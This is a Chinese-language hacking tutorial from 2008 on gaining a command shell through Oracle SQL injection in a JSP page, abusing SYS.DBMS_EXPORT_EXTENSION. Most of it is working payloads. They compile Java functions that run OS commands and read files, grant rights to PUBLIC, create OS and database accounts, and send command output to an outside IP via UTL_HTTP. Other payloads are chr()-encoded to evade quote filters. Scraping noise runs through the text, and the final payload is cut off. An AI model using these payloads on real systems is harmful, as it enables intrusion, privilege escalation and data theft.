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" D& t, A# C( C; |1 s介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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. [6 ^6 j2 a3 }* u7 u% X3 @! t以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 t* y }! x* U# t. y$ K2 o6 ]
; L, d! D( U+ R1 ]/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....): q- V8 J/ R0 B" ]
3 W9 B' R( A: l- @6 ~的形式即可。(用" 'a'|| "是为了让语句返回true值)/ A6 F5 }$ p0 w& k) u9 \0 t* U
; {5 Z$ p: m3 L. q5 P5 B/ E2 O4 S2 a5 U语句有点长,可能要用post提交。
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以下是各个步骤:
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3 r9 r. _7 q# D6 z( X1.创建包
. K1 ]3 } v' j0 C, }( m S6 |通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
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% J; T$ U5 w0 }/ w& t/xxx.jsp?id=1 and '1'<>'a'||( H3 L6 ?3 Q, z( G
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% b: C1 S7 f9 x0 k6 i/ ~
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(4 Z6 Y0 c. F( ]0 U6 Z1 N
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}} _) T' x L6 V. W1 C" G `# m
}'''';END;'';END;--','SYS',0,'1',0) from dual
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)
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- s5 I9 \5 A+ W# B$ k------------------------
; ?1 v) M) N7 Q5 \5 v: f& n2 q如果url有长度限制,可以把readFile()函数块去掉,即:
$ G9 \+ C7 X! |& \6 q3 M/xxx.jsp?id=1 and '1'<>'a'||(, B' J! @7 z) \6 J# W. ^: p( [3 Z
2 \" @; v" f. b: P+ Xselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''! P( U) j, v# t- u! c! g/ V3 j
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
& D8 `" C. O0 }- b. nnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}8 ]$ d' V( W: X: p
}'''';END;'';END;--','SYS',0,'1',0) from dual) ^2 L1 `5 @* I( w/ f9 D: D
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6 c" j. P/ [- [3 _' H* v3 o" D, [, _- u, s) ~- U* q
同时把后面步骤 提到的 对readFile()的处理语句去掉。
& K- B( v3 l! C$ u+ z7 y3 m1 j------------------------------
1 Z' b6 L2 `1 L& w
8 l, b+ M/ p4 R b: y2.赋Java权限" @* \% R5 Y9 |% e( y
* R! [4 r+ ]& x r7 [" H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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( o/ J ]7 N* i" H8 A {3.创建函数
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2 X7 i$ K' \2 y9 g5 t8 Hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 Q b+ s/ M5 y+ u0 qcreate or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual- G. Z* k. G+ L! k4 i
1 n# c$ u( {! zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
, t: c' [. K% N! i1 D, Y. F- Z; ocreate or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限3 G) z, \3 b3 J9 T0 R& n" p6 M
- J1 w/ I4 g8 L7 rselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual* p4 P1 G7 V, M& U
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual8 d: I% y7 R' e0 V8 c% K
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, v/ W6 X- A& N/ Z5.测试上面的几步是否成功9 P$ V" c7 e: g7 S. F; X2 [
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and '1'<>'11'||() L) }( ^+ W9 A- V6 v. @" X0 f
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'+ o7 e; \/ d1 M* E
)
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and '1'<>(
( t8 P Q3 x7 k" E! Lselect OBJECT_ID from all_objects where object_name ='LINXREADFILE': ?, x/ L% T8 ~* @' N1 }5 V4 ` d
)
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6.执行命令:
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/xxx.jsp?id=1 and '1'<>($ ~8 p- t7 }# p# G
select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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4 j5 k; B6 k/ X! U/xxx.jsp?id=1 and '1'<>(
& h6 ?4 L$ ?, Z" i9 v1 uselect sys.LinxReadFile('c:/boot.ini') from dual
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% u4 s+ t) e! A6 l0 _
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 x7 r8 b @; o1 |7 x
如果要查看运行结果可以用 union :
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/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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& L, ~9 z; a6 w# ?; P* s或者UTL_HTTP.request(:
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9 z9 L, ~: g+ W+ N! v' Q, ^/xxx.jsp?id=1 and '1'<>(7 k$ }) ]+ ]) r
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual' \9 O) r- c1 H! h- u
)
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/xxx.jsp?id=1 and '1'<>(" b F% |/ Q' y7 I
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual Q" b: b* c) `. d, E
)
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注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。3 y( h, R4 D* X1 h$ `2 u+ {: Z
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, H# m2 H" Y! D+ N% _8 U--------------------2 R- W) r+ I' ]9 X
+ }: @) i, W6 W* C3 E6.内部变化1 x& D, d6 R3 c& b. L7 M. L
通过以下命令可以查看all_objects表达改变:
5 y2 f2 ?1 ?6 x+ bselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%': o$ H+ ~" K! p" t7 T( D
7 _! C( a- i7 H5 m+ ?: |, Z
7.删除我们创建的函数8 f; h* g1 k9 M$ e ?6 Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''- Q6 y$ j; o. c* y' h& H! ~1 k: q& k: J
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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====================================================
( g0 [3 p+ |" y5 I3 c% }4 x' x; u全文结束。谨以此文赠与我的朋友。$ }# k) D/ C- y3 `# p
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linx _5 p% A% R( Y, W9 ?# e
124829445. f) ^# g6 H2 W
2008.1.12# d/ F4 ~6 v7 h
linyujian@bjfu.edu.cn' X* ?( E* p% `2 r; S
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======================================================================$ R! x( C! a9 }5 S& L1 `
# f( u; M, h" F7 W' [测试漏洞的另一方法:8 e7 x8 O7 q; E4 j& m
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创建oracle帐号:
8 E& y' ?5 B0 {6 B# hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- ?+ t. L* i6 B0 |CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
z+ K0 X& ^/ h0 G5 Zchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
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: W3 P4 F, d) m4 N) G* a$ U确定漏洞存在:
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- A& A) T$ q! k" Kselect user_id from all_users where username='LINXSQL'- x3 d& K- w( G3 ?/ S8 C8 ?( w
)
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给linxsql连接权限:
( h- @3 V/ o& @3 [! b8 nselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''3 v2 c8 z8 z9 P' W
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual; B3 n% X d9 z2 b
3 m: d( \" C9 H9 R删除帐号:. v. H* D8 T2 r$ }4 _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''* R- K# x' z# @9 a- ]" M4 O ?. X: E
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual6 V# ^( a- m! d+ @4 M
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======================
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: J+ M% v3 n$ o7 ?" C以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
' F& B7 N* ?' b: m
1 v& l v. f( ^, B2 ?1.jsp?id=1 and '1'<>(
( V7 ^ y$ d' v, d vselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
& ` B$ g' Y+ J" @ I- Tcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
* }, h; q7 N, b2 X) and ...
M- s* \% G( N# F8 S% U/ t, x; N; y" t, V& o9 t
1.jsp?id=1 and '1'<>(' `' t+ U3 C/ n8 J- B# q' B
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual/ c/ C, x8 e# J0 ^
) and ...
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1.jsp?id=1 and '1'<>(; [1 b" M1 D( {6 s8 t: M
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL2 T L# `7 s/ K' B5 B' Z6 y/ U
) and ...
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% ^' b% j0 r; K/ [4 Z1.jsp?id=1 and '1'<>(- ?! i7 F6 t* q6 g4 h1 T5 K
SELECT sys.Linx_Query('declare pragma
% @! U9 A/ S# m5 A; k* n" Yautonomous_transaction; begin execute immediate ''
?, P" _- ]1 m; V% jselect 1 from dual2 l8 r. s( C6 x5 H% }# `+ I" P
''; commit; end;') from dual6 f$ k/ {: h& i* o2 t6 [7 P+ r1 R
) and ...2 u4 j& t8 E m) C: ~2 l
# p' ?, k) T, {6 }1 k
多语句:' g% G% H, ^2 M! g
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual4 t% i1 E& ^- \$ c2 J0 w! s g
" s8 d" L8 t, I( H% [' O创建用户(除非当前用户有system权限,否则无法成功):: `( v9 M! ~' n5 r2 d7 M5 G" H
SELECT sys.Linx_Query('declare pragma0 F9 v# C" x/ b; n
autonomous_transaction; begin execute immediate ''
. {% ?0 `8 R$ M7 j- ^CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User
; O, O1 K5 e7 e7 w''; commit; end;') from dual" v! L u+ X! `9 l. v$ `9 G- R
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+ I0 q! v. T6 m/ Q8 m. a================
' u/ _- `$ F; m( ]/ t5 G* P: }以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()
Q2 l3 ]. r2 E) {% V
. m5 H( X+ E; s6 i" I1.创建函数
. c7 t# S Y' |6 [select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 n; U/ s f6 g. [5 S6 {: zcreate or replace function Linx_Query (p
" m t+ [0 m5 P$ w0 e/ fvarchar2) return number authid current_user is begin execute immediate
6 l3 U* G* u9 {; [2 c$ cp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;
* P; S5 ]4 d0 g/ X2 B u% z% F6 J( q5 R! p' i' F/ ]% C3 h# @
如果有权限,以下语句应该允许正常. L( K8 A- p' D7 N) ]
select sys.linx_query('select 1 from dual') from dual;
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- B4 N/ c; e: @% d不然的话运行:
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 P u( U+ C/ d5 n* igrant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual& b' K2 u; e" n v
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2.创建包
$ B- C9 ?; G4 j4 ?- P) QSELECT sys.Linx_Query('declare pragma
& d: Q n& b9 Y" e* L8 F: l: i" {autonomous_transaction; begin execute immediate ''
/ E# R& } k% ^+ Q0 a* ^# P/ _create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
$ X& ], ]2 Y4 d2 snew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual
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# b0 a8 E: d# J7 f3.创建函数% q& R: Q- o9 M8 }6 Z. m9 T( M
SELECT sys.Linx_Query('declare pragma3 m& @% q$ s1 b: J q8 P! W: y
autonomous_transaction; begin execute immediate ''
6 ]; F0 r3 l6 A$ ?2 W% [create or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual2 u- ~! G3 B# p3 ?4 y6 B+ Z) P
+ u2 ~& v! Y# ]9 {- L
4.给权限
5 X _1 I( c9 h! u: X! k给用户SYSTEM执行权限:, s+ S/ P1 \# g1 m) ?1 f% ^
2 M& @1 W* }/ [% {% U% B
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
; o/ |, i& ?: q" \: h* d3 ]) A; {& d% E/ Z
6 R7 t6 l( @2 I/ [0 n! \. D
7 D& [0 D- W! U: E* ^5.执行函数
+ U) E: L' y3 W% R+ zselect RunCMD2('cmd /c dir') from dual$ n: A/ h! h, w% [7 v; e
1 _0 T) L' e0 {0 e- k/ M, J1 z( F
- ?8 s$ W; X) s" q1 S/ d) ^2 K8 D
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1 I! P4 a! M% ?2 R, W% r. p2 b
==================
4 w! ?& r o8 H/ J4 ^5 z================================
6 t" }: W. |! o0 u" ]; V
( f5 H7 f( E7 ^6 J以下是无 " ' " 版:
" v, Q6 K. D1 J, d8 L! z, G% k9 y# a5 S# x
以下是各个步骤:
/ F$ [- U% Y( |6 P& Z- }! @* w) }2 `& }
1.创建包
. z7 n# l2 a9 T$ G9 K通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:( k/ C9 f L |4 I) B- {' _
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:
3 k" v* s' F4 U& Y q8 [& R3 T& \' P( y1 M5 m: M* T
/xxx.jsp?id=1 and chr(49)<>chr(50)||(- N+ k3 `) X' @: _) g4 ?. g
3 r) F% ~/ y) r* s3 j3 H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),3 Z ~- A! r+ Q* T* x' O& u
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||, U* r% P) _; z: H2 y
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
& S6 g$ G8 H6 o, p/ @4 Hchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
& d7 V1 u3 U" P- }/ Zchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
0 y" Q$ Y; g0 t) `chr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||
' e6 w, s3 P) m3 echr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||
0 G: B" h# F4 j* i. }chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||! M. w( @0 b& U+ s2 f# L* Q0 y
chr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||
" X9 Q f8 y& l8 `5 I8 i2 ^5 \chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||8 n: @0 J( ~* j8 v. B
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
( @8 O5 Q6 J0 r" z7 J/ i8 X6 hchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
% u& w) R% A2 s' b5 o: wchr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||2 v7 d( V6 D" I7 B/ m% r* S
chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||: L" ]' V% I( p; t G, H
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||) `: @! c/ D% L
chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
A8 S, }2 t1 D/ |. E- i* v2 l# _chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
2 U- K$ G& o, @9 Zchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
8 K' J9 r) I5 V* y6 q' e- V' qchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
* O8 J3 c8 ^, Z) f- c0 l' hchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
5 m, ^& w8 l! J, i& Uchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)|| `5 g3 |& u, K
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
% {: N; C& i' p" bchr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
) l6 z% G7 J5 d/ H( G- v! dchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
